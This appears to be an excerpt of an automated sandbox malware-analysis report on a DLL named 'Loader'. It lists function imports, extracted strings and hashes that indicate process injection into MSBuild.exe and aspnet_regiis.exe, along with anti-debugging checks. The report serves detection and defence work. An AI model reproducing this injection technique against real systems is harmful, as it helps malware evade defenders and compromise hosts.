GetConsoleWindow.KERNEL32 ref: 6CE2E214
ShowWindow.USER32 ref: 6CE2E22A
NtWriteVirtualMemory.NTDLL ref: 6CE2E30D
NtReadVirtualMemory.NTDLL ref: 6CE2E486
NtWriteVirtualMemory.NTDLL ref: 6CE2E4E4

Strings

RNS, xrefs: 6CE2CC2A
VW(E, xrefs: 6CE2ACF3
Nvkf, xrefs: 6CE2D8CA
x7, xrefs: 6CE2A51B
D, xrefs: 6CE2E2AE
@, xrefs: 6CE2DF9A
kernel32.dll, xrefs: 6CE2A23A, 6CE2D632, 6CE2E230
55i, xrefs: 6CE28C40
7'a, xrefs: 6CE2D600
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe, xrefs: 6CE2AC4C
?8%~, xrefs: 6CE2D44A
\rf, xrefs: 6CE2CE2C
D&5{, xrefs: 6CE2BBE3
rSt$, xrefs: 6CE2BEB2
MZx, xrefs: 6CE2A262, 6CE2A27E, 6CE2D65A, 6CE2D676, 6CE2E258, 6CE2E274
h<x, xrefs: 6CE2C313
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 6CE2AC10
\rf, xrefs: 6CE2CDDB
ut-M, xrefs: 6CE2A7F8
rSt$, xrefs: 6CE2BCA4
x7, xrefs: 6CE2A584
h<x, xrefs: 6CE2C364
8Q,Q, xrefs: 6CE2A40C
ntdll.dll, xrefs: 6CE2A24E, 6CE2D646, 6CE2E244

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: Virtual$Memory$Write$ThreadWindow$AllocateCloseHandle$ConsoleContextShow$CreateReadResume$AllocProcess
String ID: 55i$7'a$8Q,Q$?8%~$@$C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe$D$D&5{$MZx$Nvkf$RNS$VW(E$h<x$h<x$kernel32.dll$ntdll.dll$rSt$$rSt$$ut-M$ x7$ x7$\rf$\rf
API String ID: 1660976819-3335305182
Opcode ID: 22b972f553901dcf639869b9a5766a68276dc9c7b46454740df47b7922dfc3de
Instruction ID: 9a66974f5235196f622c622235881f00396dce1ea5239894ba2b3a4b4e48dc23
Opcode Fuzzy Hash: 22b972f553901dcf639869b9a5766a68276dc9c7b46454740df47b7922dfc3de
Instruction Fuzzy Hash: 2FA30032B456608FDB18CE3CD9957CE77F2AB87319F204299D459DB780D2398A4ACF42

Function 6CE20470 Relevance: 60.3, APIs: 22, Strings: 10, Instructions: 4278filememoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?), ref: 6CE21539
GetModuleHandleA.KERNEL32 ref: 6CE21574
K32GetModuleInformation.KERNEL32 ref: 6CE215E2
GetModuleFileNameA.KERNEL32 ref: 6CE2164F
CreateFileA.KERNELBASE ref: 6CE2184D
CloseHandle.KERNEL32 ref: 6CE2211E
MapViewOfFile.KERNELBASE ref: 6CE221C3
VirtualProtect.KERNELBASE ref: 6CE22E6C
VirtualProtect.KERNELBASE ref: 6CE2314F
CloseHandle.KERNELBASE ref: 6CE236A8
CloseHandle.KERNEL32 ref: 6CE23792
CreateFileA.KERNEL32 ref: 6CE23A47
VirtualProtect.KERNEL32 ref: 6CE23E42
CloseHandle.KERNEL32 ref: 6CE24084
CreateFileA.KERNEL32 ref: 6CE240F5
CreateFileMappingA.KERNEL32 ref: 6CE24161
CloseHandle.KERNEL32 ref: 6CE241DE
CloseHandle.KERNEL32 ref: 6CE242FC
CreateFileA.KERNEL32 ref: 6CE2435E
VirtualProtect.KERNEL32 ref: 6CE24406

Strings

nas, xrefs: 6CE2265F
M.nC, xrefs: 6CE239F3
nKJb, xrefs: 6CE2223B
%D%, xrefs: 6CE2265A
u5., xrefs: 6CE227A7
@, xrefs: 6CE243FA
%D%, xrefs: 6CE226D0
M.nC, xrefs: 6CE24374
u41, xrefs: 6CE22A37
g'<$, xrefs: 6CE22D7C

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: FileHandle$Close$Create$ProtectVirtual$Module$CurrentInformationMappingNameProcessView
String ID: %D%$ %D%$@$M.nC$M.nC$g'<$$nKJb$u5.$nas$u41
API String ID: 1716851264-1750082930
Opcode ID: 0385f65a332dfcb4a89bcf70f938c77471d76eb8b5f060c28bd19b5b70591e14
Instruction ID: aeb114c1a6dbd187652603ffac34477eecc73ab33a7b58509fb99c8a8209e64c
Opcode Fuzzy Hash: 0385f65a332dfcb4a89bcf70f938c77471d76eb8b5f060c28bd19b5b70591e14
Instruction Fuzzy Hash: 60631236B442558FCB08CE3CD9D53DE77F3AB47364F208659D419CB794D63A8A4A8B02

Function 6CE26E60 Relevance: 20.4, APIs: 2, Strings: 9, Instructions: 1195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x5Zr, xrefs: 6CE2777A
ntdll.dll, xrefs: 6CE27503
NtQueryInformationProcess, xrefs: 6CE27527
$|&|, xrefs: 6CE27EDD
[3.5, xrefs: 6CE27865
x5Zr, xrefs: 6CE277F5
`gH, xrefs: 6CE278AE
`gH, xrefs: 6CE27860
$|&|, xrefs: 6CE27AEF

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: $|&|$$|&|$NtQueryInformationProcess$[3.5$`gH$`gH$ntdll.dll$x5Zr$x5Zr
API String ID: 0-1907433695
Opcode ID: 6a3de3096ddca1517a85b395a26e16f33202c3c922e5847cfb87d915748dac9d
Instruction ID: 5f19846400457b34d797e28004269c0791ff6cf612188d09e8dde89fd7d880d1
Opcode Fuzzy Hash: 6a3de3096ddca1517a85b395a26e16f33202c3c922e5847cfb87d915748dac9d
Instruction Fuzzy Hash: 9E923336A442018FDB08CEBCD5A63CE7BF2AB47318F348519E415DBB94D22E990BCB55

Function 6CE4EA5E Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CE4EAA5
___scrt_uninitialize_crt.LIBCMT ref: 6CE4EABF

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 8ce2455d9d80528d713aa44957473fffb887b12d3e2701af6bb49569540adf43
Instruction ID: 43a2253ff515f423baac78948ffa5fac034dc068c4bda9a771a65c69bf51eea8
Opcode Fuzzy Hash: 8ce2455d9d80528d713aa44957473fffb887b12d3e2701af6bb49569540adf43
Instruction Fuzzy Hash: CD41E072A01A54AEDB20CF99E840BEEBA74EF4176CF308519E81567B80C7349A05CBD0

Function 6CE4EB0E Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6CE4EB4B
dllmain_crt_dispatch.LIBCMT ref: 6CE4EB62
dllmain_raw.LIBCMT ref: 6CE4EBAA
dllmain_crt_dispatch.LIBCMT ref: 6CE4EBBD
dllmain_raw.LIBCMT ref: 6CE4EBD0

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 2fd5e25e168075f962f0d09e985b328b5c63c9465f90288e59ff7d7f5970064e
Instruction ID: c13799d40846267dd7b0183cab36a02ee1c14223fee25d57803f805e961f12ca
Opcode Fuzzy Hash: 2fd5e25e168075f962f0d09e985b328b5c63c9465f90288e59ff7d7f5970064e
Instruction Fuzzy Hash: 9821BF71D01E68AACB21CE55EC44ABFBA79EB81B9CF318519F81567B50D3318D418BD0

Function 6CE4E957 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CE4E9A4

Part of subcall function 6CE4EE73: InitializeSListHead.KERNEL32(6CEADC50,6CE4E9AE,6CE5F880,00000010,6CE4E93F,?,?,?,6CE4EB67,?,00000001,?,?,00000001,?,6CE5F8C8), ref: 6CE4EE78

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CE4EA0E

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 028287878c3f252ac36ecad29fd3996f61009d802e51a37870a45df5a8d054f0
Instruction ID: 82e235dbdaa49722330e9898c1f640d513590f017639cb004df9805443588f6a
Opcode Fuzzy Hash: 028287878c3f252ac36ecad29fd3996f61009d802e51a37870a45df5a8d054f0
Instruction Fuzzy Hash: 7221DE32649A11AEDB04EBB8B4017ECB771AF0632CF30884DD88067FC2CB365149D6E6

Non-executed Functions

Function 6CE395F0 Relevance: 14.9, Strings: 11, Instructions: 1156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2Jt, xrefs: 6CE39DE0
Z 's, xrefs: 6CE3A324
}UF, xrefs: 6CE39A78
xvT, xrefs: 6CE3A2B9
}UF, xrefs: 6CE39A24
nVy, xrefs: 6CE39DE5
xvT, xrefs: 6CE3A56F
j, xrefs: 6CE3A506
'Yo, xrefs: 6CE3A3B8
2Jt, xrefs: 6CE39D6D
'Yo, xrefs: 6CE3A3FE

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: 'Yo$'Yo$2Jt$2Jt$Z 's$nVy$xvT$xvT$j$}UF$}UF
API String ID: 0-1983602203
Opcode ID: cae4f05471c395d1cb1801c460a0cd9991d7a7ee359494d81527009ec19e78de
Instruction ID: f5cf27e6b1f453dd4ce552c30792852472973ab3e9903c4f13149ae097c314c5
Opcode Fuzzy Hash: cae4f05471c395d1cb1801c460a0cd9991d7a7ee359494d81527009ec19e78de
Instruction Fuzzy Hash: 03822836A856619FCF08CEBCD4D53DE3BF2AB47324F306619D815DB794C62A984ACB40

Function 6CE3ABC0 Relevance: 10.2, Strings: 7, Instructions: 1476COMMON

Download Yara Rule

Strings

^L4q, xrefs: 6CE3B9E8
^L4q, xrefs: 6CE3B976
5Q@, xrefs: 6CE3B1CE
Tc, xrefs: 6CE3BC80
'Gu{, xrefs: 6CE3BF6B
'Gu{, xrefs: 6CE3B780
Tc, xrefs: 6CE3BCCE

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: 'Gu{$'Gu{$5Q@$^L4q$^L4q$Tc$Tc
API String ID: 0-3390853983
Opcode ID: c5c73f50a3d88c30700c0d6a0a0bfa649bb9427eba225fa01a5cd068d28d1cdd
Instruction ID: 52e3b026bcad43ff899eb9f1969ddf0bf6e2f990002e3d60c9d9c36e632d8169
Opcode Fuzzy Hash: c5c73f50a3d88c30700c0d6a0a0bfa649bb9427eba225fa01a5cd068d28d1cdd
Instruction Fuzzy Hash: F8B2F276E406258FCF04CEBCC9953DE7BF2AB4B314F20A519D41ADB794C626A90ACF41

Function 6CE37530 Relevance: 8.3, Strings: 5, Instructions: 2076COMMON

Download Yara Rule

Strings

M+n, xrefs: 6CE37DFA
M+n, xrefs: 6CE37E40
#/, xrefs: 6CE38FB7
a.X(, xrefs: 6CE38B4C
u!uw, xrefs: 6CE38CF6

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: #/$M+n$M+n$a.X($u!uw
API String ID: 0-2600747074
Opcode ID: ecc7e70ad4f9566a81d4180e8b17227798390ef51d89847c7995a87468ad00a4
Instruction ID: 3aba437b347d3dec34b94ea42c68d62e8b620562eeb4cf48f62001c6a46f2add
Opcode Fuzzy Hash: ecc7e70ad4f9566a81d4180e8b17227798390ef51d89847c7995a87468ad00a4
Instruction Fuzzy Hash: 28E24636A446508FCF08CEBCD9D53CD77F6AB47324F21A519D829DB794C63AA80ACB44

Function 6CE44380 Relevance: 8.0, Strings: 6, Instructions: 513COMMON

Download Yara Rule

Strings

(q/, xrefs: 6CE448EA
(q/, xrefs: 6CE44955
J^, xrefs: 6CE448EF
1GLs, xrefs: 6CE449E9
1GLs, xrefs: 6CE4499B
J^, xrefs: 6CE44A75

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: (q/$(q/$1GLs$1GLs$J^$J^
API String ID: 0-2601102989
Opcode ID: 579473730d469b3f2439c8ec6628559b38f1f00048ff66887e82e23797f2fc3e
Instruction ID: c6cb5e4106b234205d6bd00b2ea9ea99a50e74d1ca5373dd42c5d734c9b0c9ea
Opcode Fuzzy Hash: 579473730d469b3f2439c8ec6628559b38f1f00048ff66887e82e23797f2fc3e
Instruction Fuzzy Hash: 27F1F236B452018FDB08CEBCE5D53DD77F2AB5B364F30D516D420E7B94D22A8A0A8B58

Function 6CE39320 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

}@UF, xrefs: 6CE39597
}@UF, xrefs: 6CE39515

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: }@UF$}@UF
API String ID: 0-3815369809
Opcode ID: 511f645fc5b5a007a2a3d2c16820c3adac51898de93e295e172966bd58e4b73f
Instruction ID: dccfb60f99cfb923c94704fb91e3bf72a4ce443e118497f1f800862077ed5621
Opcode Fuzzy Hash: 511f645fc5b5a007a2a3d2c16820c3adac51898de93e295e172966bd58e4b73f
Instruction Fuzzy Hash: E961F176E041128FDF04CEBCC1943DE77B1AB57318F3462059429DB794CB3AAA46CBA5

Function 6CE11020 Relevance: 7.1, Strings: 5, Instructions: 880COMMON

Download Yara Rule

Strings

mag#, xrefs: 6CE115ED
3]', xrefs: 6CE11B5D
bmnvidjapmuqvqlivxazircppbjomunmxpjyeiwubtphnmhendbjxyloyarbch, xrefs: 6CE119A4, 6CE11AE2, 6CE11BD1, 6CE11C0F
mag#, xrefs: 6CE114DD
3]', xrefs: 6CE1135A

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: 3]'$3]'$bmnvidjapmuqvqlivxazircppbjomunmxpjyeiwubtphnmhendbjxyloyarbch$mag#$mag#
API String ID: 0-574533846
Opcode ID: 3014ad46f99848b6691db9f6123549e2519d124a4b5f12adca82e5626f9abc76
Instruction ID: c57b558a2303960562045a83225ccd9918b018025e3e1900a553c9b7397bf114
Opcode Fuzzy Hash: 3014ad46f99848b6691db9f6123549e2519d124a4b5f12adca82e5626f9abc76
Instruction Fuzzy Hash: DE525A32318B018FC718CE7CD5917DA37F3AB53364F209A19D466C7F94D62AE51A8B41

Function 6CE5167C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6CE51774
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6CE5177E
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6CE5178B

Strings

,Ql, xrefs: 6CE5167E

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: ,Ql
API String ID: 3906539128-1692949582
Opcode ID: e10657d94043f350d030f79680e812eb5c1785047af2d11c2fd8dcd0e080ae84
Instruction ID: 7a2fe4b7c9918506ed51f292001fc70f6710523918f86476b4349e6e40fc20b4
Opcode Fuzzy Hash: e10657d94043f350d030f79680e812eb5c1785047af2d11c2fd8dcd0e080ae84
Instruction Fuzzy Hash: 8031C474D11218ABCB21DF68D8887DDBBB8BF08714F6042EAE41CA7250E7749B858F54

Function 6CE41360 Relevance: 6.8, Strings: 4, Instructions: 1760COMMON

Download Yara Rule

Strings

ACx, xrefs: 6CE422EF
N1?a, xrefs: 6CE42610
gR,, xrefs: 6CE42623
ACx, xrefs: 6CE42190

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: ACx$ACx$N1?a$gR,
API String ID: 0-368147248
Opcode ID: 8523f891e5d1decb836db2b6919288929d96643e405f75f060e7bbdc76e514a0
Instruction ID: da9b2edb696ef32be3ecffca26f47e970c1e7aadc8c2be209858e810ff9e7537
Opcode Fuzzy Hash: 8523f891e5d1decb836db2b6919288929d96643e405f75f060e7bbdc76e514a0
Instruction Fuzzy Hash: 46C21B36B406158FDF088DBCE9D93DE77F2AB57365F21D619C425DFB94C62A880A8B00

Function 6CE44AA0 Relevance: 6.3, Strings: 4, Instructions: 1267COMMON

Download Yara Rule

Strings

U0DU, xrefs: 6CE45247
`, xrefs: 6CE4557A
`, xrefs: 6CE4552C
U0DU, xrefs: 6CE45BA2

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: U0DU$U0DU$`$`
API String ID: 0-1056640726
Opcode ID: e3cc1e104e82f686162457f271ee52ec0f07fccd317c09e9c1da68f3f21cc966
Instruction ID: 78667f1bc81d859001e55d88d489f92ca936f86471bdf3d196e236e0b9518db2
Opcode Fuzzy Hash: e3cc1e104e82f686162457f271ee52ec0f07fccd317c09e9c1da68f3f21cc966
Instruction Fuzzy Hash: F692E536B556118FCB04CEBCE5E53DE7BF2AB47365F30D51AE411DBB94C62A890A8B00

Function 6CE33BB0 Relevance: 6.1, Strings: 4, Instructions: 1108COMMON

Download Yara Rule

Strings

($~", xrefs: 6CE342BB
($~", xrefs: 6CE3426D
?%, xrefs: 6CE34756
Y*,O, xrefs: 6CE346BC

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID:
String ID: ($~"$($~"$Y*,O$?%
API String ID: 0-1332160593
Opcode ID: eaf8273b7031ad224de750c06782eac0167bb2c0ba1ac53b175c11d07eec648c
Instruction ID: bbfd880d43f3722322e22a23d8304d84b498d8a7695ae628b2e87c640583464b
Opcode Fuzzy Hash: eaf8273b7031ad224de750c06782eac0167bb2c0ba1ac53b175c11d07eec648c
Instruction Fuzzy Hash: A5821036B442158FCB08CEACD5D17CD7BF2AB47344F35A116E41ADBB94C23AA90ACB05

Function 6CE4F194 Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6CE4F1A0
IsDebuggerPresent.KERNEL32 ref: 6CE4F26C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CE4F28C
UnhandledExceptionFilter.KERNEL32(?), ref: 6CE4F296

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017079774.000000006CEAF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce10000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: cdc1d6cf75679f29175555e4cbdff6be474faec03d29a8044b2f607afefae650
Instruction ID: 1f90d816542a0bae41613bc1b52875acc752d2bf4ca2685816daec1b58730740
Opcode Fuzzy Hash: cdc1d6cf75679f29175555e4cbdff6be474faec03d29a8044b2f607afefae650
Instruction Fuzzy Hash: 89313875D4521CDBDB10DFA0D989BCDBBB8BF08704F1041AAE408AB240EB759A898F54

Function 6CE4C660 Relevance: 6.0, Strings: 4, Instructions: 1027COMMON

Download Yara Rule

Strings

m+$3, xrefs: 6CE4D286
oQ, xrefs: 6CE4D212
oQ, xrefs: 6CE4D3F5
m+$3, xrefs: 6CE4D20D

Memory Dump Source

Source File: 00000000.00000002.2016984286.000000006CE11000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CE10000, based on PE: true

Associated: 00000000.00000002.2016972627.000000006CE10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2017021847.000000006CE5A000.00000002.00000001.01000000.00000006.sdmpDownload File
